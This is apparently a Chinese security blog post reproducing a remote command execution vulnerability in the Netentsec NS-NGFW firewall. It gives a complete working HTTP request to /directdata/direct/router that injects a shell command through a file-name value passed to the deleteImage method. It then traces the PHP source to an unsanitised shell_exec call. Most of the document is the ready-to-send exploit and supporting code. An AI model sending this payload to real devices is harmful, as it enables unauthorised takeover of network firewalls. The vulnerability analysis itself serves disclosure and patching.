网康NS-NGFW防火墙远程RCE 漏洞复现
漏洞点在
/directdata/direct/router
具体包如下:
POST /directdata/direct/router HTTP/1.1 Host: 192.168.10.6 Connection: close Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: PHPSESSID=q885n85a5es9i83d26rm102sk3; ys-active_page=s%3A Content-Type: application/x-www-form-urlencoded Content-Length: 160 {"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;whoami>/var/www/html/1.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}
然后访问1.txt
代码分析:
首先找到他的入口函数
html\applications\directdata\controllers\DirectController.php
<?php require_once BASE_PATH.'/applications/Models/Ext/Direct.php'; class Directdata_DirectController extends Zend_Controller_Action { function routerAction() { header("Content-Type: application/json"); $this->_helper->viewRenderer->setNoRender(); $this->getResponse()->setBody(json_encode( Ext_Direct::run($this->getRequest()) )); } }
然后找到Ext_Direct run 这个函数
public static function run($request) { $extRequest = Ext_Direct_Request::factory($request); if (!$extRequest) throw new Exception('illegal parameters'); if (!is_array($extRequest)) $extRequest = array($extRequest); $ret = array(); $daos = array(); foreach ($extRequest as $r) { $c = $r->getAction(); if (!$c) throw new Exception('class not found'); if (!isset($daos[$c])) $daos[$c] = new $c(); $dao = $daos[$c]; // $argtest = $r->getArguments(); // $testInfo = $r->getMethod().'->'.$argtest[0]->type; // $startTime = micsecond(); // Ns_debug_log($dao,'x5.log',false); if (!method_exists($dao, $r->getMethod())) throw new Exception('method not found'); try { if ($request->getParam('extDirectException')) throw new Ext_DirectException($request->extDirectException); $ret[] = new Ext_Direct_RPCResult( $r->getTID(), $r->getAction(), $r->getMethod(), call_user_func_array( array($dao, $r->getMethod()), $r->getArguments() ) ); } catch (Ext_DirectException $e) { $ret[] = new Ext_Direct_ExceptionResult( $r->getTID(), $r->getAction(), $r->getMethod(), $e->getMessage() ); } catch (Exception $e) { $ret[] = new Ext_Direct_ExceptionResult( $r->getTID(), $r->getAction(), $r->getMethod(), $e->getMessage() ); } // Ns_debug_log((micsecond()-$startTime).date('Y-m-d H:i:s').','.$c.','.$testInfo.','.getenv('REMOTE_ADDR'),'fast.log',false); } return $ret; }
这里最终调用的是
call_user_func_array( array($dao, $r->getMethod()), $r->getArguments() )
$r->getAction() 这个是从Ext_Direct_Request::factory($request) 这里获取的跟踪一下
public static function factory($request) { $data = json_decode(file_get_contents('php://input')); if ( is_object($data) && $data->type && $data->tid && $data->action && $data->method ) return new Ext_Direct_Request( $data->type, $data->tid, $data->action, $data->method, $data->data ); else if (is_array($data)) { $ret = array(); foreach ($data as $r) { if ( $r->type && $r->tid && $r->action && $r->method ) $ret[] = new Ext_Direct_Request( $r->type, $r->tid, $r->action, $r->method, $r->data ); } return $ret; } else return null; }
发现就是传递过来的SSLVPN_Resource 找到这个SSLVPN_Resource 文件 然后调用的方法为deleteImage
找到deleteImage 方法
public function deleteImage($params){ $basePath = '/var/www/html/'; $imgPath = $this->imagePath; $params = $params->data; $cmd = "cd $imgPath \n /bin/rm -rf "; $existDefault=false; foreach ($params as $img){ if($img=='default.png'){ $existDefault=true; }else{ $cmd.=$img.' '; } } Ns_debug_log($cmd,'x.log'); shell_exec($cmd); if($existDefault){ return $this->response(array('failed : default images can not delete!')); } return $this->response(array()); // Ns_debug_log($params,'x.log'); }
阿这。
再看看其他几个函数